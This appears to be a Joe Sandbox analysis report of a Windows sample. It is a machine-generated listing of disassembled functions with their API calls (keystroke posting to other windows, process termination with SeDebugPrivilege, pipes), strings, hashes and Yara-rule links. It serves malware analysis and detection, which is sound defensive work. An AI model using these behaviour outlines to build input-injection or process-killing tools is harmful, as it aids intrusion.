Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 8f6f7e6cf137c42ba23aa3f62c7a6c50333957e7188db3070a660650298e0887
Instruction ID: 124148affbe56cc02285837c9801022257073ccfadf085fa7065d2baf99a18ea
Opcode Fuzzy Hash: 8f6f7e6cf137c42ba23aa3f62c7a6c50333957e7188db3070a660650298e0887
Instruction Fuzzy Hash: 9031A17514060DAFDB219FA5DE44ABABFF9FF58310B04842EFA9682610C734E914DB60

Function 005E25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 005E3A57
Part of subcall function 005E3A3D: GetCurrentThreadId.KERNEL32 ref: 005E3A5E
Part of subcall function 005E3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,005E25B3), ref: 005E3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 005E25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 005E25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 005E25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 005E25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 005E2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 005E2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 005E260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 005E2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 005E2627

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: a195eaef08ec8eef26a8e98df70c287f1b54595e78dba90071e83a1e4624855e
Instruction ID: 0eead54c64f71ed9dff00c35b5a03068e4b38cd726362625991f90a5b846baa5
Opcode Fuzzy Hash: a195eaef08ec8eef26a8e98df70c287f1b54595e78dba90071e83a1e4624855e
Instruction Fuzzy Hash: 1101B5302D0354BBFB106769DC8EF9D3E5AEB8AB21F105012F358AF0D5C9E114449AA9

Function 0060A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 005ED4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 005ED501
Part of subcall function 005ED4DC: Process32FirstW.KERNEL32(00000000,?), ref: 005ED50F
Part of subcall function 005ED4DC: CloseHandle.KERNEL32(00000000), ref: 005ED5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060A16D
GetLastError.KERNEL32 ref: 0060A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0060A268
GetLastError.KERNEL32(00000000), ref: 0060A273
CloseHandle.KERNEL32(00000000), ref: 0060A2C4

Strings

SeDebugPrivilege, xrefs: 0060A18F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 1fa7fa5a56e3b8e5d6ab676d2b32d1c13ade662986be94dd6fb2a2672fed00b0
Instruction ID: 5a8f66be46f6e6cf08cc7f637c2e47ce742a7299afe66fa20e6fc9ce5a823451
Opcode Fuzzy Hash: 1fa7fa5a56e3b8e5d6ab676d2b32d1c13ade662986be94dd6fb2a2672fed00b0
Instruction Fuzzy Hash: 9B618C30244342AFD714DF55C498F5ABBA2AF84358F18849CE4668BBA3C772ED45CB92

Function 005A2D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005A2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 005A2D53
_ValidateLocalCookies.LIBCMT ref: 005A2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 005A2E0C
_ValidateLocalCookies.LIBCMT ref: 005A2E61

Strings

csm, xrefs: 005A2DF6
&HZ, xrefs: 005A2DFE, 005A2E07, 005A2E18

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &HZ$csm
API String ID: 1170836740-3069864593
Opcode ID: fd4c9fd5c432b96565d0de94e914c589a820b79a0296604a0f81d5ab0cd5d2e2
Instruction ID: 8d97833571b92919cd2e30723a6a72d707c2c1bb910938419147496dd4115f8f
Opcode Fuzzy Hash: fd4c9fd5c432b96565d0de94e914c589a820b79a0296604a0f81d5ab0cd5d2e2
Instruction Fuzzy Hash: 86417134A0120AABCF10DF6CC856A9EBFA5BF86328F148155E814AB353D735DE56CB90

Function 005EC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 005EC913

Strings

warning, xrefs: 005EC8FC
stop, xrefs: 005EC8E4
question, xrefs: 005EC8CC
info, xrefs: 005EC8B4
blank, xrefs: 005EC895

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 95e3f9e10cb32de1680c06eaf3a05bc494f6d4a46449736ff29b83424aa7eef8
Instruction ID: 60f11ba1b258f55f90bad220468c67b3489fe7f10bd4cd30a903c9d60b0cd51d
Opcode Fuzzy Hash: 95e3f9e10cb32de1680c06eaf3a05bc494f6d4a46449736ff29b83424aa7eef8
Instruction Fuzzy Hash: 95115B31689347BAE7089B55DC82CAE2F9CFF16724B11002AF440E6183D7B4ED415669

Function 006140AD Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0058600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0058604C
Part of subcall function 0058600E: GetStockObject.GDI32(00000011), ref: 00586060
Part of subcall function 0058600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0058606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00614112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0061411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0061412A
SendMessageW.USER32(?,00000401,00000000,_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{), ref: 00614139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00614145

Strings

_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{, xrefs: 0061412C
Msctls_Progress32, xrefs: 006140E3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32$_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{
API String ID: 1025951953-2851661608
Opcode ID: f1a303739460f764a7d1b2c41bea4d02ef2c7533bb19a12dda7ace2c011a7244
Instruction ID: 95bb7e2b7762469e6bed30ae9e05cb79287202abe0721ccc0630b55e11f15ff6
Opcode Fuzzy Hash: f1a303739460f764a7d1b2c41bea4d02ef2c7533bb19a12dda7ace2c011a7244
Instruction Fuzzy Hash: 9E11B6B2140219BEEF119F64CC86EE77F5EEF09798F014111FA18A6150CB729C61DBA4

Function 005EED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 005EED2A
_wcslen.LIBCMT ref: 005EED3B
_wcslen.LIBCMT ref: 005EED79
_wcslen.LIBCMT ref: 005EEDAF
_wcslen.LIBCMT ref: 005EEDDF
_wcslen.LIBCMT ref: 005EEDEF
_wcslen.LIBCMT ref: 005EEE2B
_wcslen.LIBCMT ref: 005EEE5A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: f0d7bb799f8bfdc160f7987e9d983afb804a8358ca862f928f2e0c69f99dc7a7
Instruction ID: 303f6f56d9b620b4046b38a7cb826e55058d11f66bd954f8943cf006aa6967e5
Opcode Fuzzy Hash: f0d7bb799f8bfdc160f7987e9d983afb804a8358ca862f928f2e0c69f99dc7a7
Instruction Fuzzy Hash: 15419265C10159A9CB11EBF48C8EACFBBACBF86310F508466E514E3122EB34D255C7A5

Function 00612D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00612D1B
GetDC.USER32(00000000), ref: 00612D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00612D2E
ReleaseDC.USER32(00000000,00000000), ref: 00612D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00612D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00612D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00615A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00612DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00612DE1

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 9f696234702e7dceee56c7041f1e27ffb437e3ba6552f4f369223aa517b23e99
Instruction ID: bdd20e641fc508b0894b24db4846ffe830fe5f8b1c38b075f06c029763eb7da6
Opcode Fuzzy Hash: 9f696234702e7dceee56c7041f1e27ffb437e3ba6552f4f369223aa517b23e99
Instruction Fuzzy Hash: 00317F72241214BFEB158F50DC8AFEB3BAAEF09725F089056FE089A291C6759C50C7A4

Function 00604523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00604648
VariantInit.OLEAUT32(?), ref: 00604749
VariantClear.OLEAUT32(?), ref: 00604753
VariantClear.OLEAUT32(?), ref: 006047B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0060472C
Null Object assignment in FOR..IN loop, xrefs: 006045D8, 00604706, 006047BE

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: a0d6023ce1845c04022458d8e60ff3af3f8bccb2f83e134416eca67c2e203335
Instruction ID: ba640af9e28db937237654e9a1b1c4a3d43f3b16d3ad4592bf4f519c98faa2b9
Opcode Fuzzy Hash: a0d6023ce1845c04022458d8e60ff3af3f8bccb2f83e134416eca67c2e203335
Instruction Fuzzy Hash: E29171B1A40215ABDF34CFA4C844FEFBBBAEF46714F148559F605AB280DB709941CBA0

Function 00604BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 005E000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?,?,005E035E), ref: 005E002B
Part of subcall function 005E000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?), ref: 005E0046
Part of subcall function 005E000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?), ref: 005E0054
Part of subcall function 005E000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?), ref: 005E0064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00604C51
_wcslen.LIBCMT ref: 00604D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00604DCF
CoTaskMemFree.OLE32(?), ref: 00604DDA

Strings

NULL Pointer assignment, xrefs: 00604E23, 00604E52

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 947061b5a50429d3284fa7381110663343e6a67fabd0fdfa470ce3efd90cb8b5
Instruction ID: f7fc782109b6b244c147f039471aacf696b3427082542817b28d57fd567c1f0d
Opcode Fuzzy Hash: 947061b5a50429d3284fa7381110663343e6a67fabd0fdfa470ce3efd90cb8b5
Instruction Fuzzy Hash: D3912AB1D0021E9FDF24DFA4C895AEEBBB9BF48310F10456AE915B7291DB305A45CF60

Function 006120FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00612183
GetMenuItemCount.USER32(00000000), ref: 006121B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 006121DD
_wcslen.LIBCMT ref: 00612213
GetMenuItemID.USER32(?,?), ref: 0061224D
GetSubMenu.USER32(?,?), ref: 0061225B

Part of subcall function 005E3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 005E3A57
Part of subcall function 005E3A3D: GetCurrentThreadId.KERNEL32 ref: 005E3A5E
Part of subcall function 005E3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,005E25B3), ref: 005E3A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 006122E3

Part of subcall function 005EE97B: Sleep.KERNEL32 ref: 005EE9F3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: a47b8c77bca64127f7f14c3f51532f7a4cdda852d3a2571751e924e2526c4f64
Instruction ID: 94b5487c9938fcc8500577dd451eefe98606c5a744b280172b0fad7daf4f42da
Opcode Fuzzy Hash: a47b8c77bca64127f7f14c3f51532f7a4cdda852d3a2571751e924e2526c4f64
Instruction Fuzzy Hash: 8F718675A00206AFCB14DF64C855AEEBBF6FF88310F188459E916EB351D734EE918B90

Function 005EACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 005EAD19
GetKeyboardState.USER32(?), ref: 005EAD2E
SetKeyboardState.USER32(?), ref: 005EAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 005EADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 005EADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 005EAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 005EAE38

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 6b1fddffbed921a7c136927dd38095ee5c895adddadd52bb80dd2d46d1baac73
Instruction ID: 0a9bae7e5c3e013c020fd677771d64f49e15ce9acf9e266c9d3fcb10f2872efd
Opcode Fuzzy Hash: 6b1fddffbed921a7c136927dd38095ee5c895adddadd52bb80dd2d46d1baac73
Instruction Fuzzy Hash: 8051F5A19047D53DFB3B83368C95BBABEA97F46300F088489E1D5468C2C294FC88D762

Function 00612DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00612E1C
GetWindowLongW.USER32(?,000000F0), ref: 00612E4F
GetWindowLongW.USER32(?,000000F0), ref: 00612E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00612EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00612EE0
GetWindowLongW.USER32(?,000000F0), ref: 00612EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00612F0B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: e1f6d30885c9ee8af80c20fafc87156773fcdcd229965de4ee25a72ced588e49
Instruction ID: f7a950446eee939d730dfe2408f1ccf123ea5612a235550f298c1fb86a6f94d8
Opcode Fuzzy Hash: e1f6d30885c9ee8af80c20fafc87156773fcdcd229965de4ee25a72ced588e49
Instruction Fuzzy Hash: 7F31F4306442529FDB21CF58DC94FE937E2EB4A721F195165FA148F2B1CB71ACA09B41

Function 005F04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 005F04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005F052E

Strings

nul, xrefs: 005F0567

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 5c1174da66db0664f05dfb0d2215cd78696e8e941f880b5b988c04234620ce65
Instruction ID: b0019f55552a28f220096bf29bf11f360550d74d7fc43b3d2cf5d290187d549c
Opcode Fuzzy Hash: 5c1174da66db0664f05dfb0d2215cd78696e8e941f880b5b988c04234620ce65
Instruction Fuzzy Hash: CD218D71600319ABDF208F29DC44ABA7BE5BF44724F285A19FAA1D72E1D7B4D940CF20

Function 005F05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 005F05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005F0601

Strings

nul, xrefs: 005F0639

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c17fd760c18ef1a7c8749f0794e29334a9136f918b0ab78d852cdadea3c0e491
Instruction ID: c613f9a73e685b88f8368041e616ba8e7d65f5d7ba910419d52b64b0bbc39742
Opcode Fuzzy Hash: c17fd760c18ef1a7c8749f0794e29334a9136f918b0ab78d852cdadea3c0e491
Instruction Fuzzy Hash: B421B5755003199BDB208F68CC04ABA7BE4BF85730F285E19FEA1E72D1D7B49960CB10

Function 005F096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0175E0F0,0175E0F0), ref: 005F097B
EnterCriticalSection.KERNEL32(0175E0D0,00000000), ref: 005F098D
TerminateThread.KERNEL32(?,000001F6), ref: 005F099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 005F09A9
CloseHandle.KERNEL32(?), ref: 005F09B8
InterlockedExchange.KERNEL32(0175E0F0,000001F6), ref: 005F09C8
LeaveCriticalSection.KERNEL32(0175E0D0), ref: 005F09CF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

